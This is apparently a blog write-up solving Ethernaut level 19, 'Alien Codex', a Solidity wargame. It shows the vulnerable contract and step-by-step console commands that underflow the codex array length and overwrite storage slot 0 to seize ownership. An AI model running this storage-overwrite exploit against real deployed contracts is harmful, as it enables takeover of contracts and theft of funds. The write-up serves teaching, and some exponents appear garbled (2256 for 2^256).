Level 19: Alien Codex

June 12, 2022 ยท View on GitHub

This is the level 19 of OpenZeppelin Ethernaut web3/solidity based game.

Pre-requisites

Hack

Given contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }
  
  function make_contact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
  	codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}

player has to claim ownership of AlienCodex.

The target AlienCodex implements ownership pattern so it must have a owner state variable of address type, which can also be confirmed upon inspecting ABI (contract.abi). Moreover, the 20 byte owner is stored at slot 0 (as well as 1 byte bool contact).

Before we start, note that every contract on Ethereum has storage like an array of 2256 (indexing from 0 to 2256 - 1) slots of 32 byte each.

The vulnerability of AlienCodex originates from the retract method which sets a new array length without checking a potential underflow. Initially, codex.length is zero. Upon invoking retract method once, 1 is subtracted from zero, causing an underflow. Consequently, codex.length becomes 2256 which is exactly equal to total storage capacity of the contract! That means any storage slot of the contract can now be written by changing the value at proper index of codex! This is possible because EVM doesn't validate an array's ABI-encoded length against its actual payload.

First call make_contact so that we can pass check - contacted, on other methods:

await contract.make_contact()

Modify codex length to 2256 by invoking retract:

await contract.retract()

Now, we have to calculate the index, i of codex which corresponds to slot 0 (where owner is stored).

Since, codex is dynamically sized only it's length is stored at next slot - slot 1. And it's location/position in storage, according to allocation rules, is determined by as keccak256(slot):

p = keccak256(slot)
or, p = keccak256(1)

Hence, storage layout would look something like:

Slot        Data
------------------------------
0             owner address, contact bool
1             codex.length
    .
    .
    .
p             codex[0]
p + 1         codex[1]
    .
    .
$2^{256}$ - 2     codex[$2^{256}$ - 2 - p]
$2^{256}$ - 1     codex[$2^{256}$ - 1 - p]
0             codex[$2^{256}$ - p]  (overflow!)

Form above table it can be seen that slot 0 in storage corresponds to index, i = 2^256 - p or 2^256 - keccak256(1) of codex!

So, writing to that index, i will change owner as well as contact.

You can go on write some Solidity to calculate i using keccak256, but it can also be done in console which I'm going to use.

Calculate position, p in storage of start of codex array

// Position
p = web3.utils.keccak256(web3.eth.abi.encodeParameters(["uint256"], [1]))

// Output: 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6

Calculate the required index, i. Use BigInt for mathematical calculations between very large numbers.

i = BigInt(2 ** 256) - BigInt(p)

// Output: 35707666377435648211887908874984608119992236509074197713628505308453184860938n

Now since value to be put must be 32 byte, pad the player address on left with 0s to make a total of 32 byte. Don't forget to slice off 0x prefix from player address!

content = '0x' + '0'.repeat(24) + player.slice(2)

// Output: '0x000000000000000000000000<20-byte-player-address>'

Finally call revise to alter the storage slot:

await contract.revise(i, content)

And we hijacked AlienCodex! Verify by:

await contract.owner() === player

// Output: true

Done!

Learned something awesome? Consider starring the github repo ๐Ÿ˜„

and following me on twitter here ๐Ÿ™